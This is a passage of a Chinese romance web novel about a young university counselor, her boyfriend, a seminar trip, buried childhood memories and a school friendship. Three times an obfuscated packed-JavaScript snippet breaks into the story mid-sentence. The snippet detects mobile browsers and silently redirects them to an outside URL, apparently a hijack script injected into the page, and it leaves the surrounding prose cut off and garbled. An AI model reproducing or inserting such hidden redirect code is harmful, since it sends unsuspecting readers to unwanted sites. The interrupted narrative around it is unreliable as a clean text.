碗底磕在琉璃桌面发出清脆的声响,周祈越坐直身体,冷眼睨着谢泽,语气带着警告:“你信不信我会跟鹿老师说说,你大学的那些.....” “好了好了,我知道了!”谢泽打断话,昨晚自己频繁翻旧账已经惹祸了,赶紧跟陈夏柠道歉,“我这人说话不过脑子,多有得罪,陈老师别往心里去啊。” “没什么,都是小事。”陈夏柠淡然一笑,谢泽只是比较耿直而已,误会解除就行。 “喂,哪来的粥啊。”谢泽看他喝粥,自己也饿了。 周祈越一口气将剩下的喝完,嘚瑟的样子:“我媳妇给我做的,爱心早餐,独此一份。” “......” 陈夏柠揪着衣角,心虚得厉害。 其实给大家都做了。这话说出来就是现场打他的脸。 她斟酌了下语句,眼神暗示:“学长,你去厨房看看。” 谢泽扫了眼周祈越,给他竖中指:“重色轻友。”而后转身去厨房。 “......” 客厅内只剩他两,周祈越右手臂搭在她身后的沙发背,欠身凑到她耳边,“我昨晚没做什么过分的事吧。” 陈夏柠瑟缩着往另一边拉开些许距离,扯谎道:“没,你睡着了,我给你盖上被子就走了。” “哦。”周祈越唇角继续靠近,说话的热气挥洒,女生的耳朵瞬间红了,“我还以为,我会跟你一样醉酒耍流氓。” “......” 他说话归说话,怎么快跟她脸对脸了! 距离这样近,陈夏柠无法保持理智跟他交流,掌心按着沙发垫正要起身。 下一秒,周祈越手掌一伸揽在她腰上,力度往里收,将女生环在自己怀里。 陈夏柠退无可退,低着头,眼神乱飘忽。 周祈越另一只手拾起她的下巴,往上抬,迫使她跟自己对视,“你这学长叫得可真亲切,我也是你学长,怎么没听你这么叫我?” 陈夏柠:“......” 你这是吃的,哪门子,飞醋啊?! 她好脾气地顺着他,慢悠悠地喊:“周、学长。” “嗯,学妹真听话。”周祈越露出一个稍稍满意的神情,大拇指扫过她唇角,盯着女生红润涟漪的嘴唇。 陈夏柠察觉到他的目光,这样暧昧的氛围,她已经能预知他想干什么。 周祈越弓着脖颈,彼此鼻尖挨着鼻尖,陈夏柠眼睫微微垂下,准备接受这个吻。 “叮铃铃——”口袋手机猛然响起,将旖旎的氛围尽数打散。 陈夏柠吓得睁开眼,掏出手机按接通,周祈越也松开了她。 “陈老师,你能联系上鹿雯吗?”王书记说话声音挺大,震得耳朵疼。 陈夏柠站起身,将手机拿远一点,问:“怎么了,可以联系到她。” “她不是要代表我们学院去南大参加研讨会吗?全校的辅导员都准时坐上大巴出发了,打她电话也打不通,她到底想干什么!”还是第一次见王书记发这么大的火,“要是今天她缺席研讨会,下周也不用来上班了!” 王书记挂完电话,陈夏柠急忙上二楼敲鹿雯的门。 “鹿雯,鹿雯......”里面始终没应声。 周祈越将谢泽喊上来,两个大男人一同用力撞开门。 陈夏柠和谢泽进屋。 鹿雯还在捂着被子睡觉,脸色涨红,陈夏柠摸了摸她的脸,“这么烫,应该是发烧了。” 谢泽二话不说将人抱起来,“雯雯,你别吓我啊。” ....... 这番动静惊动了大家,谢泽抱着鹿雯坐上郑起航的车通往医院。 陈夏柠抓了抓头发,尽量让自己冷静思考这事,鹿雯肯定不能去了。 她想出补救方案:【书记,鹿老师生病去医院了。这样吧,我替她去行么?您不要怪罪她。】 王书记:【行,你去吧。所有老师订的是上午九点的机票,你现在也赶不上了。你自己看看高铁和机票,单独去,回来学校给你报销。】 这次研讨会分为两场,今天下午四点和明天上午九点,地点在南璋大学。 周祈越开车先带她回家拿衣服和电脑,陈夏柠在路上浏览着从海云到南璋的机票和高铁,机票是买不到了,高铁票倒很多。 “买两张,我跟你一起去。”周祈越开着车,瞥见她的付款页面。 陈夏柠没吭声,回到家简单收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507240|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾好行李。 周祈越把人带到高铁站,掏出手机一看12306,问:“你买了么?” 陈夏柠眨了下眼,怯生生道:“买了,没买你的。” 周祈越:“......” 现在要买也买不了同一般车了。 他脸色一横,立马不高兴了。 陈夏柠知道他会不乐意,所以采取先斩后奏,解释说:“我是去工作不是旅游,到地方就跟同事一起了——” 周祈越哦了声:“你觉得我是拖油瓶?” “......不是——” 周祈越:“那就是单纯不想跟我待一起了?” 陈夏柠:“......” 你能不能,让我把话说完。 “我是觉得你很辛苦了!”她牵起他的手,眼巴巴地望着他,郑重其事地说:“我听张瑞他们说了,搜救局的工作强度大,所以你才会这么累,好不容易有休息日你就好好歇着,别再奔波了。” 周祈越面色一松。 “况且我明天下午就回来了。”就算他工作不忙,陈夏柠也不想这么麻烦人。 在澳洲三年,她已经学会了独立,始终觉得一个人能做好的事,就没必要麻烦两个人。 “行,你去吧。”周祈越折服下来,捏了捏她的脸,“记得给我报平安。” 陈夏柠点头如捣蒜。 南璋市在海云市上面一点,同样是沿海城市。 王书记推给她一个外院导员的微信,名叫祝朗月,酒店住宿跟她一起就行。 坐了三小时的高铁,下午一点半抵达南璋市,陈夏柠按照祝朗月发给的酒店地址,转地铁花费一小时,总算到地方。 在前台办理完住宿,陈夏柠拎着行李箱乘电梯,找房间号,一进屋整个人就摊床上了。 舟车劳顿真累。 还好没让周祈越跟来。 她这会儿又饿了,捞起手机点外卖,看见半小时前周祈越的消息:【媳妇,到地方了没?】 Lemon:【到了。】 消息一发出,周祈越的电话打来,拖腔带调道:“你这消息回复真及时啊,你老公也就盯着屏幕看了1800秒而已。” “......” 陈夏柠胸腔发出浅浅的笑意,不太适应他这声媳妇,总会让她代入已婚女士的状态,“你就不能换个称呼么?咱俩还没结婚。” 周祈越:“不是迟早的事么,让你提前适应。” 陈夏柠一怔,他们会结婚么,她还没想那么远。 年少的时候总相信永远二字,比如喜欢的人,要好的朋友。 长大后发现,他们都不会一直陪着自己。 没有人会永远陪着她。 所以她现在不敢对任何事抱有长久的期待了。 周祈越:“还是说,你想跟别人结婚啊。” “说什么呢!” 如果可以,谁都希望仅有的一次恋爱会陪自己走到最后,陈夏柠说:“恋爱体验也很重要啊,我没谈过恋爱,想一步步来。” “行,那就一步步来。”周祈越恍然意识到自己心急了,思考了一小会儿,“要不,以后我就叫你,柠柠。” 陈夏柠愣了三秒,“柠柠?”语气诧异,毕竟昨晚她听到过这个小名。 “怎么,不喜欢啊。” “不是。”陈夏柠温暾道:“还是第一次,有人叫我柠柠。” 周祈越磁性的嗓音像电流,顺着话筒传来:“那我就当那个唯一。” 57. 想见你 有敲门声响起,陈夏柠匆匆挂断电话,起身去开门。 “陈老师,好不容易来南璋要不要一起逛逛呀?” 祝朗月眼尾一弯,明媚的笑容,气质恬静如皓月。 “好啊,我正想点外卖呢。”陈夏柠自然拒绝不了这么有亲和力的女孩子,抬手看了下腕表,快三点了,“我带上电脑,等会儿直接可以去南大。” “嗯嗯,我也去拿。” 两姑娘拎着电脑包,从酒店出去,祝朗月在手机上打车,让师傅去南大附近的万达广场。 一路上,祝朗月看着窗外的地标都会跟她介绍,陈夏柠认真听着,下车后也熟门熟路地跟她介绍当地的美食。 陈夏柠对食物不是很挑,最终选了一家客流量较少的三鲜面。 入座后,陈夏柠主动找话题,“祝老师的家乡就是南璋对么?” “不是,我大学在这读书。”祝朗月单手托腮,打着哑谜,“你猜我哪个学校的?” 陈夏柠毫不犹豫道:“南璋大学。” “你速度也太快了吧。”祝朗月说话轻声细语,表示惊讶也是柔柔和和的,“怎么猜到的?” 陈夏柠:......因为你脸上写着,我是南大的。 恰好端来三虾面,她用筷子挑出一只龙虾,勾唇一笑:“它刚刚告诉我的。” 祝朗月露出洁白的牙齿,“夏柠,你说话真有意思。” 难得见到同龄人中笑起来像孩子一样,陈夏柠就觉得她很不同,“你叫我,夏柠?” “对啊,”祝朗月不拘小节地说,“你叫我朗月吧,祝老师太客套了。” “嗯,朗月。”陈夏柠低头吃面,心里想的是,今天解锁自己两个新称呼。 很早之前她就对南大心生向往,随口问:“你本科学的什么专业呀?” “我是美院的,”祝朗月悠悠地说,“油画。” 陈夏柠动作一顿,这次倒是真的愣住了,“我以前特别想来南大读这个专业。” “是嘛,”在此之前,祝朗月看过航院的采访视频,了解过陈夏柠,也知道她那漂亮的履历,“为什么最后没来这呢?” 陈夏柠有所保留地说:“长辈的刻板印象,认为学艺术没有前途。” “哦哦,其实也有一定的道理。”祝朗月以自己为例,“我学本硕学了七年,还是转行当辅导员了。这个行业需要的是极少数有天赋的人,而往往有天赋的人却要遭受非人的痛苦。” 陈夏柠理解她的话中意,很多天才艺术家的下场并不好。 “你的父母可能也是好心,让你学有用的理工科了。” 陈夏柠含糊地应声,让这个话题绕过去。 当初报志愿她根本做不了主,但凡对她有一丝怜悯之心,萧婷就不该让她学任何海洋类专业。 吃完饭已经三点十四了,还好祝朗月熟悉这里,抄近路带她赶到南大的学术报告厅。 入场需要登记姓名,祝朗月帮她写名,两人就匆匆进去入座。 这场研讨会容不得一点差错,工作人员比较负责,拿着登记表核对座位名牌时,找她核对。 “老师您好,您的名字是叫陈夏柠吗,登记表上只写了夏柠。” “哦对,我叫陈夏柠。”她看见登记表上没写耳东陈。 坐在她旁边的祝朗月讪笑着说:“不好意思啊,叫了你一路夏柠,下意识以为这就是你的名字了。” “没事儿。”陈夏柠不以为意地笑了下,在登记表上加了个“陈”,工作人员就走了。 “不过,夏也是姓氏。”祝朗月理所当然地联想,“你爸爸是不是姓陈,妈妈姓夏?” 陈夏柠眨了眨眼,觉得这个思路没毛病,现在很多父母给孩子起名会糅合两人的姓氏。 “不是。”她摇了摇头。 那个曾经疑惑的问题又浮现——我的亲生父母到底是谁呢? 即使我是孤儿,父母双亡,但我有时候还会好奇自己的来处。 研讨会开始,讲台上的发言嘹亮。 陈夏柠回过神,打开电脑记录,本次研讨会的内容,回去要做汇报转达的。 “很多人都知道辅导员这个岗位,但又有很多人又很难说出辅导员到底是干嘛的,” 发言人言辞诙谐幽默,“学生请假找辅导员,学生寝室矛盾找辅导员,学生就业找辅导员,学生心理有问题找辅导员......总之,学生开心或者不开心都得找辅导员。你看辅导员多万能,长着三头六臂!” “.......哈哈哈哈。” 台下的人哄堂大笑。 陈夏柠跟着大家一起笑。 这话说出了多少辅导员的心声。 研讨会全程两个小时,每个学校都会派一名发言者,最后由教育部党委书记对辅导员工作提出新要求,陈夏柠全程马不停蹄地敲键盘,像极了考试前记重点的学生。 会议结束,陈夏柠不仅手酸腰也酸。 深秋的天黑得早,晚风也冷,两姑娘没在外逗留,一起回酒店歇息。 陈夏柠洗完热水澡,用吹风机吹完头发,身上正裹着浴巾,周祈越的视频电话打过来。 她飞速溜到床上,猫在被窝里,将手机立在枕边。 不曾想周祈越比她还裸露...... 他也是刚浴室出来,下半身只穿了一件短裤,发梢淅淅沥沥地滴着水,跟下雨似的。 “这么早就睡了?”周祈越用毛巾胡乱擦着头发,边举着手机走到客厅坐下。 摇摇晃晃的镜头,男人裸露的上半身占据大片屏幕,从陈夏柠的视角来看,那就是满屏的肌肉,此刻只能用满满的禁欲感和性张力来形容。 她吞咽了下,喉结发痒,想穿透屏幕摸一下他的肌肉。 每次都像是故意勾引她。 周祈越将屏幕拿近了些,看她,“怎么不说话?” 陈夏柠现在的状态就是得不到只能远远地望着,语气带着情绪:“你能不能把衣服穿上。” “......” 周祈越噗嗤笑出声:“又不是第一次见,现在知道害羞了?” “......” 陈夏柠哼哧一声:“你不穿我就挂电话。” 周祈越勾着唇角,这么盯着屏幕的女生,还挺可爱。 见他无动于衷,陈夏柠改为命令道:“你把衣服穿上!” 周祈越随手捞起手臂的短袖,飞速套头穿上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517290|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么连穿衣服,都那么帅。 陈夏柠觉得自己好没出息,像个花痴少女。 “我困了。”她脸太热,想中止话题。 周祈越想起正事,“跟你说声,鹿老师已经退烧了,没事了。” “那就好那就好。”陈夏柠感觉脚底的被子拧成一团,伸腿一蹬,不料被子直接划到下半身了。 她猛地坐起身,去拽被子,扣着的浴巾松垮,往下滑。 正准备挂机的周祈越指尖一顿,看见,女生大片白皙的后背...... - 周日上午九点的研讨会才是重中之重,地点在南大的另一个校区,临港校区。 听名字就知道距离市区很远,两人起了个早床,退酒店,拉着行李箱前去坐地铁。 出了地铁,祝朗月随口问:“夏柠你买回城的机票了没?” 陈夏柠一愣。 昨晚和周祈越视频,口中说着自己要买回程票,下一秒倒头就睡了。 “我现在买。”她哀叹一声,估计又买不到机票了。 打开手机,状态栏上有许多未知消息,视线直直落在一条机票购买成功的页面。 她点进去查看,昨晚十点付的款。 陈夏柠拎着行李箱跟在祝朗月后面,手机截屏给周祈越发消息:【你买的?】 隔着屏幕都能感受到周祈越那骄傲的语气:【昂,等着你买,我的柠柠猴年马月才能回来。】 想见你,每分每秒都着急。 陈夏柠抬头,明明头顶是一片乌云,她的笑容堪比阳光。 - 这场研讨会主要聚焦学生心理辅导话题,海大的辅导员坐在同一个区域。 “各位老师们大家上午好,我是南大心理学教授程淑琳......”程淑琳用一组数据罗列出当下高校学生心理健康问题,并细说每一种常见的病情。 “有关恐惧症呢,我深有体会,因为我的儿子曾经就得过这个病,”程淑琳娓娓道来,“他是因为小时候乘坐大巴车,途径山路,遭遇泥石流,痊愈后,他不仅恐惧坐大巴车还失去了一段记忆......” 陈夏柠神色一怔,抬起头聚精会神地听着。 “恐惧症发作时,会出现脸红、气促、恶心、心悸等症状,严重者会直接昏厥发烧,”程淑琳继续介绍,“但这种情况会因人而异,像我儿子那样,顺带失忆的也是非常罕见......” “这种疾病并不会随着逃避而痊愈,相反在某个时间点,一旦遇到刺激物,它会更加严重,有效的治疗应该是敢于面对,让患者接受恐惧.....” 祝朗月喝水的空暇,瞥见陈夏柠的电脑屏幕一堆乱码,推了下她。 陈夏柠猛地回神,急忙删掉乱码。 研讨会结束时上午十点,海大的辅导员聚集在一起,陈夏柠也不知他们要去哪,只是随大众,跟着他们出校门,往前走。 “你怎么了,没睡好吗?”祝朗月纳闷道,“从刚才就心不在焉的。” “可能太累了。”陈夏柠拍了拍脸让自己清醒,后知后觉地问:“我们这是去哪啊?” 祝朗月:“你忘了,我们要去海边打卡布维亚号啊。” 58. 柠柠 南大的临港校区沿海,只需步行十分钟就可以抵达滨海路,远离城市的喧嚣,沿途的植被葱郁,似乎还停留在夏天,越靠近海的天空就越蓝。 站在路边栏杆前,眺望远处的碧海蓝天,同事们纷纷举起手机拍照。 陈夏柠站在人群后面,也没往前凑,祝朗月拍完照,拉着她上前,抬手指向旭日升起的方向,“看到了没,那就是布维亚号。” 布维亚号是一艘的大型散货船,中国制造,船籍澳大利亚。疫情期间,布维亚号多次往返澳洲和海云市之间。 该船最后一次航行的终点是海云市,途径南璋周边的海域遭遇台风,救助局及时拯救遇险人员,但船只已经搁浅,由于该船的托运费用高昂,船主放弃召回。 这艘船见证了两国的友谊,疫情结束后,很多人前来打卡纪念,让这里成为一个热门景点。 天地辽阔,汪洋大海中,布维亚号成为了一艘未能归航的孤船。 “真的太壮阔了!”有人对这景色赞不绝口,“太美了!” 陈夏柠感受到的是凄凉和孤寂,情绪也随之低落,紧接着,船身在眼前出现重影。 她抓住栏杆,背过身,默默调整呼吸。 一个男同事说:“我们海大曾有不少学子在这艘船上工作呢。” 此次出差,负责写新闻的导员薛哲想起正事,“我们下去集体跟布维亚号合照,这可是要登上学校新闻的。。” “行,走了走了。”大家跟着薛哲从路边入口处下去。 陈夏柠在后面走的很慢,祝朗月知道她很累,回头抱着她一只胳膊,安慰道:“再忍一下,拍完照我们就走了。” “嗯。”陈夏柠意兴阑珊地点头。 海浪的敲打声近乎就在耳边,沙滩松软,她踩在上面脚步虚浮,心跳越来越快。 陈夏柠站在第一排边上的位置,望向摄像机镜头,并未察觉到自己脸色惨白。 “咔嚓”一声,闪光灯极为强烈,她的脑海跟着“嗡”一声,快速闪回一个模糊的画面。 本以为拍照要结束了,她正想挪步,薛哲喊住大家:“这景色真不错,来来来,多拍几张!” “......” 陈夏柠握着拳头,指甲在手心里掐出红印,极力让自己保持清醒。 海边的太阳也足够强烈,沙滩金黄一片,薛哲看见大家额头已经冒汗,便止住了自己的一腔热血,“好了,辛苦大家了,我们回去吧。” 队伍一散,陈夏柠立刻跑到一边,对着路边的草丛一番呕吐。早上就喝了点豆浆,现在吐出来的都是水。 见状,祝朗月也跟过来,弯着腰给她拍背,“夏柠你没事吧,怎么感觉你的状态不太对劲,是不是生病了。” 陈夏柠耳朵也嗡嗡响,反应半天才听清她说什么,佯装镇定:“正常,早上,没吃饭,头晕。” “这样啊,等下碰见超市给你买个面包。” “嗯。”陈夏柠缓了好半响,祝朗月搀扶着她回去。 她们的行李寄存在南大校门口的店铺,两人折回去取行李,而后乘地铁去机场。 到了机场,陈夏柠手中的面包还没吃完,实在没胃口就扔了。 - 下午两点,海云城东机场。 两姑娘一同拉着行李出来,祝朗月要回家,跟她并不顺路,直接转地铁先走一步了。 陈夏柠打开手机,关闭飞行模式,周祈越的消息第一时间蹦出来:【你对象就在最显眼的位置。】 她扫视四周,正纳闷最显眼的位置是哪,一转身就撞进一面宽阔温热的胸膛。 男人顺势一手搭在她腰上,一手扶住她后脑勺,将女生紧箍在怀中,吊儿郎当道:“你得是有多想我,就这么急不可耐地,扑进我怀里。” 陈夏柠:“......” 不过就是走了一天,昨晚还在打电话来着。 他这语气烘托得,他们像电影里历经千山万水,得以重逢的男女主。 她以前怎么没发现,周祈越还是个戏精。 大庭广众之下陪他演戏,陈夏柠实在没这个脸,柔弱无骨似的推了下他,“好多人看着我们呢。” 周祈越压根不在乎别人的目光,其实这种场面很常见,因为机场每天都在上演着不同的告别和重逢,拥抱也司空见惯。 陈夏柠被他牵着往外走,望着行色匆匆的赶路人,想起曾经自己第一次出国的场景。 在此之前,她没有单独出过远门。 因为当时走的急,没有任何朋友送行。 她坐在长椅上,低头望着机票上的内容:海云市——墨尔本。 她当时足够绝望,笃定这是一场单程票,以后她都不会回到,这座让自己伤心难过的城市。 那个时候,真就孤零零一个人,坐上飞机都在哭。 听她说起这些,周祈越眼底漆黑,握紧她的手,陈夏柠淡然一笑:“都过去了,我现在不是回来了。” 坐上车,周祈越酝酿了半晌,问:“那是什么原因让你回来了。” 陈夏柠:“你猜?” 周祈越:“为了遇见我。” 陈夏柠眼角弯了弯,一个劲点头附和:“对对对,你说的都对。” “......” 回到家,陈夏柠也没闲着,将本次研讨会的内容做好汇总,做了一个PPT。 “柠柠吃饭了。” 晚饭是周祈越做的,她合上电脑起身走向厨房,恍然眼前一黑。吃饭的时候,她后脑勺一阵一阵的疼,周祈越跟她说话,她总是走神。 “柠柠。”他起身走到跟前,摸了下她额头,“怎么出这么多汗啊?” 陈夏柠停下筷子,慌里慌张地捂着肚子,“我...我生理期来了。” 周祈越拿纸巾给她额间擦汗,缓缓道:“我跟你熬点红糖水。” “不用,我吃点布洛芬休息一下就没事了。”说着陈夏柠便起身回卧室躺着。 她把房门紧锁着,关上灯,用被子捂着脸,缩作一团。 渐渐地,她思绪模糊下来,进入似真似假的场景中。 她不知道自己为什么又看见那个玛丽苏的梦。 小女孩抱着双膝坐在地上,头埋在臂弯里。 有个男孩抱住她说:“别哭了,再哭鼻涕都能拉面条了。” “.......” 小女孩抬起头,又哭又笑,“你会不会安慰人啊!” “不会啊,”小男孩摊了摊手,无奈地叹气,“使出洪荒之力也安抚不了鼻涕精。” “......” 然后小女孩立马站起来,眼泪还没擦完,起身追着他打,“讨厌鬼,你说是鼻涕精!” “......” 画面一转,两人争先恐后地奔跑在金色的沙滩上,身边就是汪洋大海。 “你给我站住!”爱哭的小女孩在小男孩面前就凶巴巴地。 小男孩回头做了个鬼脸,“略略略,小柠檬追不上我。” “就知道给我起外号,不跟你玩了!”小女孩一屁股坐在沙滩上,也不追他了,嘴里嘀咕着他的名字。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533942|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小男孩回过头来找她,“别生气了,柠柠。” ...... 次日,周一例会。 “这次外出交流,我更加明确了导员的职责,以下我将从学业辅导、心理疏导、职业规划、生活帮助和社会服务这五个方面来阐述......” 听完陈夏柠有条有理的展示,王书记满意地点了点头:“不错,陈老师这次可是自告奋勇解围,工作完成的很完美。” “听到了没,听到了没,”走出会议室,鹿雯激动地推着她的胳膊,“王书记对你的工作这么满意,你肯定能转正的。” “顺其自然吧。”陈夏柠平和的语气,话锋一转,“你发烧怎么样,那天真吓到我们了,敲你门都没应声的。” “哎,医生说,我是酒精过敏引起的发烧。”鹿雯叹气,诚恳地说:“太感谢你了陈老师,及时帮我解围。” “没事,我们也是朋友啊。”陈夏柠笑了下,“那你以后可得小心点了,别喝那么多酒了。” “我开心的时候忍不住嘛,谢泽也拦不住我。”鹿雯完全能拿捏住男朋友,只要她一强势起来,谢泽真就不敢放一声屁。 “倒是你,在周祈越面前太听话了吧。” 陈夏柠抿唇一笑,谈恋爱前害怕管不住周祈越,恋爱后自己反倒喜欢上了被管着的感觉。 这几天工作,她总是忍不住想起那晚做的梦。 往常她做的都是噩梦,总能够半夜惊醒,那晚只是入睡前头疼了一阵,进入梦中后神经便放松下来了,而且还是一个好梦。 陈夏柠第一次心生怀疑,那些画面是真还是假。 进入11月份,气温每况愈下,周五许佳念一通电话打来约她逛街买厚衣服。 陈夏柠觉得自己也需要,下班后跟周祈越说了声,周祈越只说让她别逛太晚。 他们俩工作都不轻松,白天也见不上面,像这种随时分享各自的生活,两人无声中达成了共识,随时让对方知道自己在做什么,给彼此足够的安全感。 陈夏柠乘坐两站地铁,到达一个服饰商场,跟许佳念会合。 只见许佳念脸色一横,来势汹汹地质问:“好啊,夏夏你太不够意思了,你跟周祈越谈恋爱了,都不告诉我这个头号cp粉!” “......” 陈夏柠闭了下眼,双手合十地求饶:“念念饶命,我最近太忙了,一时给忘了。” “哦,大忙人。”许佳念撇她一眼,“我就是你那个随时随地能被忘记、不重要的闺蜜是吧。” “......我真的知道错了。”陈夏柠恰好瞄见旁边有卖她最喜欢的糖雪球,朝她努努下巴,“我请客。” 许佳念迈步走过去,指着铺子里的糖雪球,对老板说:“都包起来,她请客。” 陈夏柠:“......” 镜头一转,奶茶店,许佳念吃完一大袋糖雪球打了个饱嗝,又喝了杯奶茶,这才瞧着她笑了笑:“我原谅你了夏夏。” 陈夏柠咬着奶茶吸管,突兀地问:“念念,为什么没有人喊你佳佳呢?” 许佳念想了一下:“啊,念念更好听吧,再说,小名不都按照名字的最后一个字。” 说着这句,她对上了陈夏柠疑惑的眼神,改口道:“不过,你的小名就是中间那个。” 陈夏柠追问:“那为什么你不叫我柠柠呢?” “啊?”许佳念被问得一脸懵逼,硬生生地回想着,“我叫你夏夏,是因为从初中咱俩认识开始,我就听你妈妈叫你夏夏,我就跟着喊你夏夏了啊。” 59. 浪子回头 初二那年海大附中来了一个从美国回来的转学生,那个转学生还没进班,大家就笃定她家肯定有背景。 因为附中看重成绩,很多人花钱买名额让自家的孩子挤进附中借读都找不到门路,更别说让人直接来重点班成为正式生了。 从陈夏柠进班的第一面,全班同学纷纷投来的目光带着好奇,也带着划分界限。他们把她当做关系户,不想招惹她也不想跟她做朋友。 所以即使加入这个班级两周了,陈夏柠依旧独来独往,她似乎也不主动交朋友,上课时目不转睛地望着黑板,下课时安安静静地望着窗外。 许佳念早就对这位新同学感到好奇了,刚好月考后排位,两人成为同桌。 “同桌,老师讲的题我没听懂,”她将自己的数学试卷摊到陈夏柠面前,指了指题目,“你给我讲一讲呗。” 陈夏柠如梦初醒地看着她,难以置信对方在跟自己说话。来这班里大半个月了,同学们对她很客气,这种客气可以形容为,把她当成瘟疫一样避之不及。 陈夏柠如此迷茫的眼神,许佳念严重怀疑自己表达有误,抑或是她还没适应中文环境,于是许佳念清了清嗓子,一本正经地调动自己贫瘠的英语词汇:“哈喽,这位美国朋友,canyouhearmyChinesespeaking?” 陈夏柠:“......” 人类的交流怎么能如此复杂,每个字能都熟知,就是搞不懂她想表达什么。 她的大脑宕机了半晌,缓缓开口:“我是中国人,不会这道题。” 许佳念视线挪回卷面,那是一道几何题,她挠了挠头,“第一次听说解数学题还得看国籍呀,怪不得我不会这道题,原来是因为我是中国人啊,这几何题是外国人发明的,那个谁来着,欧几里得!” 陈夏柠:“............” 同桌的脑回路好厉害,要竖个大拇指。 她重新将那句话拆开重组—— “我是中国人,能听得懂中文。” “你问的这道题,我没听,不会做。” 许佳念长哦了声,恍然大悟的表情,双手支着下巴看她:“我看你听得挺认真的啊,那两颗眼珠子直勾勾地盯着黑板,我还以为瞪大眼睛方便快速吸取知识呢,我学了你一节课,眼睛酸的直流泪!” “......” 陈夏柠再次暗自叹息同桌厉害,“我没在听课,在发呆。” “啊!搞半天你在神游啊!”十四岁的许佳念完全能懂这种感觉,她经常幻想自己摇身一变黑魔仙,把班里讨厌的男生捉弄一遍,凑近了问,“你在想什么?” 陈夏柠若有所思道:“我在想我为什么存在,我为什么在这,我为什么是我?” 许佳念讶然,张大嘴巴。 哦吼,同桌还挺深刻啊,有意思有意思。 只见许佳念一手拍桌,一手朝她伸过去,“你这个朋友我交定了!” 陈夏柠怔了一下,回握过去。 原来交朋友这么简单,只需要随便说几句就行了。 就这样,许佳念成为她回国后的第一个朋友。 和陈夏柠熟知后,许佳念发现她特别爱发呆,显得整个人也呆呆的,起初她成绩跟不上,许佳念就主动给她辅导功课。 陈夏柠的成绩提升,萧婷还以为是自己找的家教起了作用,后来得知是她同桌,暗地调查了下对方的家庭,许佳念的父母是高中老师,小康家庭。 但相比陈家这样的豪门,许家只能算小门小户,萧婷试图阻挠两人来往。没有了许佳念,附中还有江逸风,但女孩子的友谊岂是男孩子能弥补了的。 陈夏柠整天情绪低落,不知道的,还以为她得了什么抑郁症。 为此班主任找萧婷谈话,自从听从她的意见,让陈夏柠和许佳念的座位隔得天南地北后,陈夏柠的成绩又一落千丈。 萧婷无奈,趁着周末邀请许佳念来家里玩,慈眉善目地跟她说:“我们夏夏很喜欢跟你做朋友呢,你喜不喜欢夏夏呀?” “喜欢!”许佳念瞄一眼陈夏柠,一脸诚恳地说,“夏夏又憨又乖,挺好玩的。” “......” 童言无忌,萧婷也不计较,况且她说的没错,陈夏柠性格太闷了,在爷爷面前也不怎么爱说话。 “夏夏之前发过一次高烧,脑袋烧糊涂了。”萧婷笑了笑,摸着许佳念的头,“她现在上课跟不上,你以后多来我们家,给她辅导功课好不好,阿姨欢迎你来哦。” “行行行。”许佳念当时也没什么心眼,只是想跟陈夏柠当朋友而已。 后来也是听爸妈私下交谈,她才知道自己被利用了,但她并没有因此疏远陈夏柠。 萧婷是一位很有心机的妈妈。 恰恰相反,陈夏柠就很单纯,性格柔弱,一点也不像她妈那样强势。 就连长得也不像,很不像亲母女。 因为许佳念的性格就随爸妈。 果不其然,大三那年暑假,陈夏柠在许家居住,告知许佳念实情。 她真的不是陈家的女儿。 许佳念恍然有一种自己乌鸦嘴灵验的罪恶感。 ...... “夏夏,你今天怎么会问这么奇怪的问题?”许佳念恍然觉得她这样很像最初认识的时候,变成十万个为什么了。 陈夏柠也说不上来,心里怪怪的,“就是特别想知道自己的真实身份。” “要不你问一下你妈,哦不,养父母。”许佳念眨了眨眼,单纯地看她,“他们不是调查过你的身份说你是孤儿吗,你有详细问过吗?” “我现在基本不跟他们联系了,”陈夏柠又不是没问过,根本问不出个所以然来,“他们要想瞒我,我问多少遍都没用的。” “哦,这样啊。” “对了,我还想问你呢。”陈夏柠眉眼一抬,纳闷道:“你又是怎么知道我跟周祈越在一起了?”总不能是周祈越吧,他们也没微信好友啊。 许佳念撇撇嘴:“江逸风啊,她来找过我。” “什么?!”陈夏柠瞬间变了脸色,放下手边的奶茶,“他找你干嘛,说什么了。” 许佳念老实交待:“就问我,你男朋友是谁,还想拉拢我,协助他让你回心转意。” 陈夏柠自然相信许佳念不会出卖她,只是不曾想江逸风这么难缠,竟然去打扰她朋友。 “你别愁眉苦脸了,他没对我有什么影响,我不理他就行了。” 许佳念插着一颗糖雪球在嘴边舔舐糖渍,悠悠地提醒,“倒是你,别相信什么浪子回头就行了,像他这种前女友能凑一桌席的男的,我想想就觉得很恶心。” 